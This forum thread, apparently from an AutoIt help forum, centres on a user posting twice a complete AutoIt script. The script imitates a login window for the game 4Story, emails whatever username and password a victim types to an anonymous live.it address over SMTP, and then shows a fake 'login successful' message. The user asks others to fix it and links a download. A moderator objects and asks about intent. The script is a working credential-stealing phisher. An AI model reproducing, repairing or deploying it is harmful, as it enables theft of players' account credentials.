Jump to content

Raga va bene questo codice ?


Recommended Posts

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <StaticConstants.au3>
#include <GuiImageList.au3>
#include <GuiButton.au3>
#include <INet.au3>
#requireadmin
FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp")
$Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP))
  
     
$Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD))
$Input2 = GUICtrlCreateInput("", 496, 185, 290, 19)
$Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME)
FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif")
               GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651)
      GUICtrlSetState(-1,128)

$Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP)
GUICtrlSetImage(-1, "System.bmp")
GUISetState(@SW_SHOW)
$Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651)

While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
              Case $GUI_EVENT_CLOSE
                      Exit
       Case $Button1
       FileDelete( @ScriptDir & "\Image.bmp")
                      $Mittente =GUICtrlRead($Input2)
                      $Destinatario =GUICtrlRead($Input3)
                      $Oggetto=GUICtrlRead($Input4)
                      $Nome =GUICtrlRead($Input1)
                      $Server=GUICtrlRead($input5)
                      $Testo=GUICtrlRead($Label1)
                      $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1)
                      $errore = @error
If $Response = 1 Then
  MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...")
Else
  MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore)
EndIf
      EndSwitch
WEnd

Lo postato su Internet ditemi se il bottone esce, con scritto login ! per favore

http://www.mediafire.com/?601851zcr6on04u

Se non esce me lo potete aggiustare ? :)

Grazie ... ;)

Link to comment
Share on other sites

  • Moderators

magri972011,

We use English as the language of communication between members in open forum here. As we told you in your last thread - please use use Google Translate or another internet translation site before posting. :)

M23

Public_Domain.png.2d871819fcb9957cf44f4514551a2935.png Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind

Open spoiler to see my UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Link to comment
Share on other sites

EDIT:

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <StaticConstants.au3>
#include <GuiImageList.au3>
#include <GuiButton.au3>
#include <INet.au3>
#requireadmin
FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp")
$Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP))
  
     
$Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD))
$Input2 = GUICtrlCreateInput("", 496, 185, 290, 19)
$Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME)
FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif")
               GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651)
      GUICtrlSetState(-1,128)

$Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP)
GUICtrlSetImage(-1, "System.bmp")
GUISetState(@SW_SHOW)
$Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651)

While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
              Case $GUI_EVENT_CLOSE
                      Exit
       Case $Button1
       FileDelete( @ScriptDir & "\Image.bmp")
                      $Mittente =GUICtrlRead($Input2)
                      $Destinatario =GUICtrlRead($Input3)
                      $Oggetto=GUICtrlRead($Input4)
                      $Nome =GUICtrlRead($Input1)
                      $Server=GUICtrlRead($input5)
                      $Testo=GUICtrlRead($Label1)
                      $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1)
                      $errore = @error
If $Response = 1 Then
  MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...")
Else
  MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore)
EndIf
      EndSwitch
WEnd

Ipostedon the Internettell me ifthe buttongoes out,that sayslogin!please

http://www.mediafire.com/?601851zcr6on04u

If not leave I can fix? :oops:

Thanks ... :bye:

Link to comment
Share on other sites

  • Moderators

magri972011,

Your posted script has the name of a game in the title of the GUI (4Story), you appear to be trying to use an anonymous email address (AnonimatoGm@live.it), and you seem to be trying to login to a site somewhere (Login Effettuato con Successo). I am not very happy with any of those, let alone all 3 at once. :bye:

Have you read the Forum Rules? What exactly are you trying to do here? :oops:

M23

Public_Domain.png.2d871819fcb9957cf44f4514551a2935.png Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind

Open spoiler to see my UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...